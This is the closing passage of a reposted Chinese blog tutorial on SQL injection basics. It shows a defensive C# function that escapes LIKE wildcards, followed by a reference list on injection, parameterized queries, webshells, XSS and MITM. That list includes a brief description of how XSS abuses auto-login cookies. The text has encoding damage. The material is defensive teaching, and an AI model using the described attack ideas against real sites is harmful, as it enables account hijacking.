1 2 3 4 5 6 7 private?static?string?ConvertSqlForLike(string?sql) { sql = sql.Replace("[", "[[]"); // 這句話一定要在下面兩個(gè)語句之前,否則作為轉(zhuǎn)義符的方括號(hào)會(huì)被當(dāng)作數(shù)據(jù)被再次處理 sql = sql.Replace("_", "[_]"); sql = sql.Replace("%", "[%]"); returnsql; }

?

結(jié)束語:感謝你耐心的觀看。恭喜你,?SQL安全攻防你已經(jīng)入門了……

?

?

參考文獻(xiàn):

?SQL注入天書

????????(百度百科)SQL注入

擴(kuò)展資料:

????????Sql Server 編譯、重編譯與執(zhí)行計(jì)劃重用原理?

????????淺析Sql Server參數(shù)化查詢-----驗(yàn)證了參數(shù)的類型和長度對參數(shù)化查詢影響

????????Sql Server參數(shù)化查詢之where in和like實(shí)現(xiàn)詳解

???????????????????????????????-----講述6種參數(shù)化實(shí)現(xiàn)方案

?webshell???????????????-----不當(dāng)小白,你必須認(rèn)識(shí)的專業(yè)術(shù)語。一個(gè)用于站長管理,入侵者入侵的好工具

????????SQL注入技術(shù)和跨站腳本攻擊的檢測????-----講解使用正則表達(dá)式檢測注入

????????????XSS(百度百科)????????????? -------惡意攻擊者往Web頁面里插入惡意html代碼,當(dāng)用戶瀏覽該頁之時(shí),嵌入其中Web里面的html代碼會(huì)被執(zhí)行,從而達(dá)到惡意用戶的特殊目的。

????????????XSS攻擊實(shí)例??????????????? -------基本思路:我們都知道網(wǎng)上很多網(wǎng)站都可以“記住你的用戶名和密碼”或是“自動(dòng)登錄”,其實(shí)是在你的本地設(shè)置了一個(gè)cookie,這種方式可以讓你免去每次都輸入用戶名和口令的痛苦,但是也帶來很大的問題。試想,如果某用戶在“自動(dòng)登錄”的狀態(tài)下,如果你運(yùn)行了一個(gè)程序,這個(gè)程序訪問“自動(dòng)登錄”這個(gè)網(wǎng)站上一些鏈接、提交一些表單,那么,也就意味著這些程序不需要輸入用戶名和口令的手動(dòng)交互就可以和服務(wù)器上的程序通話。

?????????Web安全測試之XSS

? ? ? ? ? ??Web API 入門指南 - 閑話安全?

? ? ? ? ? ??中間人攻擊(MITM)姿勢總結(jié)

? ? ? ? ? ??淺談WEB安全性(前端向)

?

原本打算10月中旬完成的這篇博文的,后面答應(yīng)幫一個(gè)妹紙做一個(gè)小課程設(shè)計(jì),所以這篇博文就中斷了,直到昨天才完成博文。另外妹紙的課程設(shè)計(jì)我也提供下載(一個(gè)SQL參數(shù)化應(yīng)用的小程序),采用的是三層架構(gòu),但時(shí)間比較趕架構(gòu)還不夠規(guī)范。?下載……

?

哈哈這邊有個(gè)熱心娃擔(dān)心妹紙咯,我也想到這個(gè)問題,所以課程設(shè)計(jì)沒有標(biāo)題目,只提供下載……

?????

?

分享到:


作者:滴答的雨?
出處:http://www.cnblogs.com/heyuquan/?
本文版權(quán)歸作者和博客園共有,歡迎轉(zhuǎn)載,但未經(jīng)作者同意必須保留此段聲明,且在文章頁面明顯位置給出原文連接,否則保留追究法律責(zé)任的權(quán)利。?

轉(zhuǎn)載于:https://www.cnblogs.com/yelongsan/p/6307409.html

總結(jié)

以上是生活随笔為你收集整理的sql 注入入门的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。